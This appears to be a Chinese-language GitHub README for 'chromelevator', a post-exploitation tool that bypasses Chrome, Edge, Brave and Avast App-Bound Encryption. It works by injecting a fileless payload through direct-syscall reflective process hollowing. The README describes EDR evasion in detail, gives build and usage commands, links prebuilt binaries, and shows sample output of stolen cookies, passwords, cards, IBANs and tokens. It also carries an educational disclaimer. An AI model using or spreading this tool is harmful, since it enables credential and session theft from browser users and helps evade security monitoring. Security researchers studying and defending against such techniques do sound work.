通过基于直接系统调用的反射式进程镂空绕过 Chromium 的 App-Bound 加密。从 Chrome、Edge、Brave 与 Avast 中提取 Cookie、密码、支付方式及令牌——无文件、用户态、无需管理员权限。
Chrome App-Bound Encryption Decryption)一个后渗透利用工具,演示了如何完整地在内存中绕过 Chromium 的 应用绑定加密(App-Bound Encryption, ABE)。本项目利用 基于直接系统调用(Direct Syscall)的反射式进程镂空(Reflective Process Hollowing) 来以挂起状态启动一个合法的浏览器进程,隐蔽地注入载荷以劫持其身份和安全上下文。这种 白加黑(Living-off-the-Land, LOTL) 技术颠覆了浏览器自身的安全模型。无文件(fileless)方法使该工具能够完全在内存中运行,绕过用户态 API 钩子,从而解密并窃取现代 Chromium 浏览器中的敏感用户数据(Cookie、密码、支付信息)。
该工具的有效性根植于一系列现代、以规避为重点的技术组合:
直接系统调用实现规避: 通过直接调用内核函数,绕过 EDR/AV 在标准 WinAPI 函数上的用户态钩子。该引擎利用 Hell's Gate 技术,配合 基于哈希的函数匹配(二进制中不包含明文的系统调用名称),在运行时动态解析系统调用号。
基于直接系统调用的进程镂空: 一种隐蔽的进程创建与注入技术。它不是注入到流量高且可能被监控的进程中,而是创建一个新的、挂起状态的主机进程。由于所有内存操作都发生在进程开始正常运行之前,因此显著降低了被检测到的可能性。
无文件内存载荷: 载荷 DLL 永远不会落到目标机器的磁盘上。它作为 ChaCha20 加密 的编译期字节数组嵌入,并使用 编译期派生密钥,在内存中解密后以反射方式加载,从而最大限度地减少取证足迹,并绕过基于静态文件的扫描器。
反射式 DLL 注入(RDI): 一种绕过主载荷 LoadLibrary 的隐蔽进程注入方法,从而规避监控模块加载的检测机制。自包含的引导加载程序从内存中映射 PE 节区、执行重定位并解析导入。
目标上下文 COM 调用: 这是击败应用绑定加密的关键。通过在受信任的浏览器进程 内部 执行代码,我们继承了其身份和安全上下文,从而能够向 ABE COM 服务器发起看似合法的调用,并满足其路径验证安全检查。
Nt*/Zw* 函数名称——使用编译期 DJB2 哈希。LoadLibrary 调用的前提下隐蔽地加载载荷。--kill 标志完全终止进程。
注意: Chrome/Brave/Edge 144+ 使用新的
IElevator2COM 接口。该工具在可用时自动使用IElevator2,并在旧版本上回退到IElevator。Avast Secure Browser 使用自定义的IElevatorChrome接口,其 vtable 扩展为 12 个方法,DecryptData 位于偏移 104 处。
该矩阵列出了每个受支持浏览器的提取能力。
该工具的执行专注于隐蔽性和效率,围绕 基于直接系统调用的反射式镂空 进程构建。这种方法确保很少进行高级别 API 调用,并且载荷在合法的、新创建的浏览器进程内部运行。
chromelevator.exe)ntdll.dll 以使用基于哈希的匹配来解析系统调用号(SSN),并定位内核转移指令(syscall/ret 或 svc/ret)。如果指定了 --kill 标志,它将使用 NtGetNextProcess 和 NtTerminateProcess 系统调用终止目标浏览器的所有运行实例,以释放 SQLite 数据库上的文件锁。CREATE_SUSPENDED 状态(CreateProcessW)创建目标浏览器的一个新实例。这个全新的、挂起状态的进程将作为我们载荷的主机。NtAllocateVirtualMemory(直接系统调用)分配内存。NtWriteVirtualMemory 将解密后的载荷 DLL 写入分配的空间。NtProtectVirtualMemory(直接系统调用)将内存区域的权限更改为可执行。Bootstrap 反射式加载器开始执行,充当自定义的内存中 PE 加载器,并具有增强的隐蔽性:
NtAllocateVirtualMemory 为载荷分配新内存(绕过被挂钩的 VirtualAlloc)。NtProtectVirtualMemory 设置节区权限。DllMain。DllMain 生成一个新线程,该线程立即连接到注入器传递的命名管道句柄。它读取注入器发送的配置,包括输出路径。所有后续日志和状态更新都通过此管道回传。IElevator2,早期版本为 IElevator,Edge 为 IEdgeElevatorFinal,Avast Secure Browser 为 IAvastElevator)。由于调用源自受信任的进程路径,因此服务器所有安全检查均会通过。DecryptData 方法,并传入其从 文件中读取的 。COM 服务器忠实地解密该密钥,并将明文 AES-256 主密钥返回给载荷。本项目使用一个简单且稳健的构建脚本,可自动处理所有编译和载荷嵌入工作。
克隆 此仓库。
打开 VS 开发者命令提示符(或任何启用 MSVC 的 shell)。
在项目根目录运行构建脚本 make.bat。
构建选项:
make.bat - 完整构建(默认)make.bat clean - 删除所有构建产物make.bat build_encryptor_only - 仅构建加密器(供 CI 使用)make.bat build_target_only - 构建载荷和注入器(供 CI 使用)本项目使用 GitHub Actions 自动为 x64 和 ARM64 两种架构构建注入器可执行文件(chromelevator.exe)。
您可以在 Releases 页面 找到最新的预编译二进制文件。两种架构的可执行文件打包在同一个便捷的 .zip 文件中。
发布包内容:
chromelevator_x64.exechromelevator_arm64.exePS> .\chromelevator.exe --help
_________ .__ . __
_ ___ | | ____ _____ _ /| | _______ _______ / | ___________
/ \ /| | _ __ / _ \ / \ | ) | | / __ \ / /_ \ / _ _ __
\ _| Y \ | ( <> ) Y Y | | |\ /\ / / __ | | ( <> ) | /
_ /| /| _/|__|| /_______ /|/___ >_/ ( /| __/|__|
/ / / / / /
Direct Syscall-Based Reflective Hollowing
x64 & ARM64 | v0.20.0 by @xaitax
Usage: chromelevator.exe [options] <chrome|chrome-beta|edge|brave|avast|all>
Options: -v, --verbose Show detailed output -f, --fingerprint Extract browser fingerprint -k, --kill Kill all browser processes before extraction -o, --output-path Custom output directory
### 选项
- `--output-path <path>` 或 `-o <path>`
指定输出文件的基础目录。
默认为相对于注入器位置的 `.\output\`。
数据将组织到子文件夹中:`<path>/<BrowserName>/<ProfileName>/`。
- `--verbose` 或 `-v`
启用注入器的详细调试输出。
- `--fingerprint` 或 `-f`
提取全面的浏览器指纹数据,包括版本、扩展程序、安全设置和系统信息。
结果保存到浏览器输出目录中的 `fingerprint.json`。
- `--kill` 或 `-k`
**在提取前终止所有浏览器进程。** 使用直接系统调用(`NtTerminateProcess`)在尝试提取数据前终止目标浏览器的所有运行实例。当浏览器正在运行并持有数据库文件的锁,导致工具无法访问 Cookie 或其他加密数据时,此选项非常有用。
- `--help` 或 `-h`
显示此帮助信息。
### 正常运行```bash
PS> .\chromelevator.exe all
_________ .__ ___________.__ __
\_ ___ \| |_________ ____ _____ \_ _____/| | _______ _______ _/ |_ ___________
/ \ \/| | \_ __ \/ _ \ / \ | __)_ | | _/ __ \ \/ /\__ \\ __\/ _ \_ __ \
\ \___| Y \ | \( <_> ) Y Y \| \| |_\ ___/\ / / __ \| | ( <_> ) | \/
\______ /___| /__| \____/|__|_| /_______ /|____/\___ >\_/ (____ /__| \____/|__|
\/ \/ \/ \/ \/ \/
Direct Syscall-Based Reflective Hollowing
x64 & ARM64 | v0.20.0 by @xaitax
┌──── Brave (143.1.85.120) ──────────────────────
│
│ Decryption Key
│ 2522A3C1730EA8EE84BAAD1994DB31E20437D9DCF27628997598BB5B86F73DCD
│
├── Default
│ Cookies 3312
│ Passwords 55
│ Cards 1
│ IBANs 1
│
└── 3312 cookies, 55 passwords, 1 cards, 1 IBANs (1 profile)
C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Brave
┌──── Chrome (143.0.7499.193) ───────────────────
│
│ Decryption Key
│ 3FA14DC988A34C85BDB872159B739634CB7E56F8E34449C1494297B9B629D094
│
├── Default
│ Cookies 380
│ Passwords 1
│
├── Profile 1
│ Cookies 932
│ Passwords 791
│ Cards 1
│ IBANs 1
│ Tokens 2
│
└── 1312 cookies, 792 passwords, 1 cards, 1 IBANs, 2 tokens (2 profiles)
C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome
┌──── Chrome Beta (144.0.7559.59) ───────────────
│
│ Decryption Key
│ C147F0657D7AD5881F16CC0A2994E41A18A7B5F567B8CF81C7F87227ABB4F1B7
│
├── Default
│ Cookies 224
│
└── 224 cookies (1 profile)
C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome Beta
┌──── Edge (144.0.3719.67) ──────────────────────
│
│ Decryption Key
│ B0334FAD7F5805362CB4C44B144A95AB7A68F7346EF99EB3F175F09DB08C8FD9
│
├── Default
│ Cookies 226
│ Passwords 2
│ Cards 1
│
├── Profile 1
│ Cookies 25
│
└── 251 cookies, 2 passwords, 1 cards (2 profiles)
C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Edge
PS> .\chromelevator.exe -v -f chrome
_________ .__ . __
_ ___ | | ____ _____ _ /| | _______ _______ / | ___________
/ \ /| | _ __ / _ \ / \ | ) | | / __ \ / /_ \ / _ _ __
\ _| Y \ | ( <> ) Y Y | | |\ /\ / / __ | | ( <> ) | /
_ /| /| _/|__|| /_______ /|/___ >_/ ( /| __/|__|
/ / / / / /
Direct Syscall-Based Reflective Hollowing
x64 & ARM64 | v0.20.0 by @xaitax
┌──── Chrome (143.0.7499.193) ─────────────────── │ Creating suspended process: C:\Program Files\Google\Chrome\Application\chrome.exe │ [+] Process created (PID: 26560) │ [+] IPC pipe established: \.\pipe\chrome.nacl.49645_5F55 │ Deriving runtime decryption keys... │ [+] Payload decrypted (1073 KB) │ [+] Bootstrap entry point resolved (offset: 0x2ae70) │ Allocating memory in target process via syscall... │ [+] Memory allocated at 0x268e2d90000 (1076 KB) │ [+] Payload + parameters written │ [+] Memory protection set to PAGE_EXECUTE_READ │ Creating remote thread via syscall... │ [+] Thread created (entry: 0x268e2dbae70) │ Awaiting payload connection... │ [+] Payload connected │ Running in Chrome │ │ Decryption Key │ 3FA14DC988A34C85BDB872159B739634CB7E56F8E34449C1494297B9B629D094 │ ├── Default │ Size 14 MB │ Cookies 380 │ Passwords 1 │ ├── Profile 1 │ Size 491 MB │ Cookies 932 │ Passwords 791 │ Cards 1 │ IBANs 1 │ Tokens 2 │ Extracting comprehensive fingerprint... │ Fingerprint saved to fingerprint.json │ └── 1312 cookies, 792 passwords, 1 cards, 1 IBANs, 2 tokens (2 profiles) C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome
## 📂 数据提取
解密完成后,数据将保存到指定的输出路径(如果未通过 `--output-path` 指定,则默认为 `.\output\`)。文件按如下方式组织:
**基本路径:** `YOUR_CHOSEN_PATH`(例如,`.\output\` 或你提供的路径)
**结构:** <Base Path>/<BrowserName>/<ProfileName>/<data_type>.json
示例路径(假设使用默认输出位置):
- 🍪 **Cookies(Chrome 默认配置文件):** .\output\Chrome\Default\cookies.json
- 🔑 **密码(Edge 配置文件 1):** .\output\Edge\Profile 1\passwords.json
- 💳 **支付方式(Brave 默认配置文件):** .\output\Brave\Default\payments.json
- 🏦 **IBAN(Chrome 配置文件 1):** .\output\Chrome\Profile 1\iban.json
### 🍪 Cookie 提取
每个 cookie 文件都是一个 JSON 对象数组:```json
[
{
"host": "accounts.google.com",
"name": "ACCOUNT_CHOOSER",
"path": "/",
"expires": 1766591611,
"value": "AFx_qI781-…"
},
{
"host": "mail.google.com",
"name": "OSID",
"path": "/mail",
"expires": 1766591611,
"value": "g.a000uwj5ufIS…"
},
…
]
每个密码文件都是一个 JSON 对象数组:```json [ { "url": "https://example.com/login", "user": "[email protected]", "pass": "••••••••••" }, … ]
### 💳 支付方式提取
每个支付文件都是一个 JSON 对象数组:```json
[
{
"name": "John Doe",
"month": 12,
"year": 2030,
"number": "••••••••••1234",
"cvc": "•••"
},
…
]
每个 IBAN 文件是一个 JSON 对象数组:```json [ { "nickname": "UK Test", "iban": "GB33BUKB20201555555555" } ]
### 🎟️ 令牌提取
每个令牌文件都是一个 JSON 数组,其中包含服务、解密后的令牌以及绑定密钥(如果存在):```json
[
{
"service": "AccountId-112823413702122221871",
"token": "1//03VJGN_vL2FR5CgYIARAAGAMSNwF-L9IrtiyH_tmtOneETFya5GEGiewlEMrLwDMuOl56zRoShNE77DfyOXhofn5Ryo_...",
"binding_key": ""
}
]
使用 --fingerprint 或 -f 标志时,将生成一份全面的元数据报告:```json
{
"browser": "Chrome",
"executable_path": "C:\Program Files\Google\Chrome\Application\chrome.exe",
"browser_version": "143.0.7499.170",
"user_data_path": "C:\Users\username\AppData\Local\Google\Chrome\User Data",
"sync_enabled": false,
"enterprise_managed": true,
"update_channel": "stable",
"hardware_acceleration": false,
"metrics_enabled": false,
"autofill_enabled": true,
"password_manager_enabled": false,
"safe_browsing_enabled": true,
"do_not_track": false,
"third_party_cookies_blocked": false,
"translate_enabled": true,
"installed_extensions_count": 2,
"extension_ids": ["ghbmnnjooekpmoecnnnilnnbdlolhkhi", "nmmhkkegccagdldgiimedpiccmgmieda"],
"profile_count": 2,
"computer_name": "DESKTOP-ABC123",
"windows_user": "username",
"os_version": "10.0.26220",
"architecture": "ARM64",
"last_config_update": 1766578854,
"extraction_timestamp": 1766591611,
"extraction_complete": true
}
此数据提供有关浏览器配置、安全态势和系统上下文的情报。
## 📚 深入技术分析与研究
如需全面理解 Chrome 的 App-Bound 加密(ABE)、其实现的复杂性、本工具方法的详细机制,以及相关安全向量的更广泛讨论,请参阅我的详细研究论文:
1. ➡️ **[Chrome 的 App-Bound 加密(ABE)——技术深度剖析与研究笔记](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/HEAD/docs/RESEARCH.md)**
本文档涵盖:
- 从 DPAPI 到 ABE 的演进。
- ABE 机制的分步剖析,包括 `IElevator`/`IElevator2` COM 交互和密钥包装。
- 本工具采用的 DLL 注入策略的详细方法论。
- 加密数据结构分析及相关 Chromium 源代码洞见。
- 替代解密向量与 Chrome 不断演进的防御措施的讨论。
2. ➡️ **[难缠 COM 的离奇案件:解密 Microsoft Edge 的 App-Bound 加密](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/HEAD/docs/The_Curious_Case_of_the_Cantankerous_COM_Decrypting_Microsoft_Edge_ABE.md)**
本文详细介绍了为实现 Microsoft Edge 可靠的 ABE 解密所经历的特定挑战与逆向工程之路,内容包括:
- 对最初问题及误导性错误码(`E_INVALIDARG`、`E_NOINTERFACE`)的记述。
- 使用 COM 类型库内省(借助 Python `comtypes`)来揭示 Edge 独特的 `IElevatorEdge` vtable 结构与继承关系的过程。
- 这一洞见如何促成量身定制的 C++ 接口存根,从而成功与 Edge 的 ABE 服务交互。
- 对调试棘手 COM 互操作性问题的实用探讨。
3. ➡️ **[电梯迎来升级:Chrome 144、IElevator2 与 Mojo 前景](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/HEAD/docs/The_Elevator_Gets_an_Upgrade_Chrome_144_IElevator2_and_the_Mojo_Horizon.md)**
本文介绍了 Chrome 144 新增的 `IElevator2` COM 接口及其对 ABE 的意义:
- 对 Chrome 143 的 `IElevator` 与 Chrome 144 的 `IElevator2` 接口进行技术对比。
- 分析两个新方法(`RunIsolatedChrome`、`AcceptInvitation`)及其与 Chromium 计划中的 Mojo IPC 迁移的关联。
- 展示向后兼容性得以保留的 VTable 布局对比。
- Edge 144 对 `IElevator2` 及新增 Copilot 接口的部分采用。
- 对 Mojo 迁移为 ABE 安全带来哪些(及不会带来哪些)变化作出客观评估。
4. ➡️ **[COMrade ABE:App-Bound 加密 COM 底层的实战手册](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/HEAD/docs/COMrade_ABE_Field_Manual.md)**
这本实战手册介绍了 **COMrade ABE**——一个面向 ABE COM 接口、基于 Python 的动态分析器,并深入探讨了其实际应用:
- 阐述因浏览器差异与更新而进行动态 COM 接口分析的必要性。
- 详述 COMrade ABE 的方法论:通过注册表扫描进行服务发现、类型库加载与解析,以及基于启发式的 ABE 方法签名匹配。
- 提供解读 COMrade ABE 输出的全面指南,包括 CLSID、IID(标准与 C++ 风格),以及 VTable 偏移量、定义接口、完整继承链等详细输出信息的含义。
- 强调自动生成的 C++ 存根(`--output-cpp-stub`)在快速开发与研究中的实用性。
- 讨论 COMrade ABE 如何帮助适应 ABE 的变化、分析新型 Chromium 浏览器,并理解厂商特定的 COM 定制。
## 🔗 其他资源与研究
本项目建立在更广泛安全社区的工作与分析基础之上。
- **官方文档与公告:**
- [Google 安全博客:提升 Windows 上 Chrome Cookie 的安全性](https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html)
- [设计文档:Chrome App-Bound 加密服务](https://drive.google.com/file/d/1xMXmA0UJifXoTHjHWtVir2rb94OsxXAI/view)
- **社区研究与致谢:**
- 由 [snovvcrash](https://gist.github.com/snovvcrash/caded55a318bbefcb6cc9ee30e82f824) 提供的概念验证
## 🗒️ 更新日志
本项目的所有重要变更均记录在 [**CHANGELOG**](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/HEAD/CHANGELOG.md) 文件中,涵盖版本历史、新功能、缺陷修复与安全改进。
## 📜 许可证
本项目基于 MIT 许可证授权——详见 [LICENSE](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/HEAD/LICENSE) 文件。
## 💡 项目理念与免责声明
> [!IMPORTANT]
> 这是一个出于教育与安全研究目的而创建的业余项目,既是个人学习经历,也是探索高级 Windows 概念的试验场。
>
> **本工具并非旨在成为功能完备的信息窃取器,也不是可保证规避 EDR 的工具。** 尽管它采用了先进技术,但其首要目标是演示与剖析 ABE 机制,而非为恶意用途提供操作性隐匿。请确保遵守所有相关法律与道德准则。
| 浏览器 | 已测试版本(x64 与 ARM64) |
|---|
| Google Chrome | 144.0.7559.133 |
| Google Chrome Beta | 145.0.7632.18 |
| Brave | 1.86.148 (144.1.86.148) |
| Microsoft Edge | 145.0.3800.36 |
| Avast Secure Browser | 143.0.33371.147 |
| 功能 | Google Chrome | Microsoft Edge | Brave | Avast Secure Browser |
|---|
| Cookies | ✅ ABE | ✅ ABE | ✅ ABE | ✅ ABE |
| Passwords | ✅ ABE | ✅ ABE | ✅ ABE | ✅ ABE |
| Payment Methods | ✅ ABE | ✅ ABE | ✅ ABE | ✅ ABE |
| IBANs | ✅ ABE | ❌ N/A | ✅ ABE | ✅ ABE |
| Auth Tokens | ❌ N/A | ❌ N/A | ❌ N/A |
NtCreateThreadEx 在目标进程中创建一个新线程。线程的起始地址直接指向载荷的 Bootstrap 导出函数,其参数为远程管道名称的地址。浏览器的原始主线程保持挂起状态,且永远不会被恢复。随后注入器等待载荷回连到管道。Local Stateapp_bound_encrypted_keyDefault、Profile 1 等)。对于每个配置文件,它查询相关的 SQLite 数据库(Cookies、Login Data、Web Data),使用 AES-256-GCM 解密数据块,并将机密信息格式化为 JSON。结果直接写入注入器指定的输出目录。FreeLibraryAndExitThread 进行清理。注入器收到信号后,使用 NtTerminateProcess 终止父主机进程。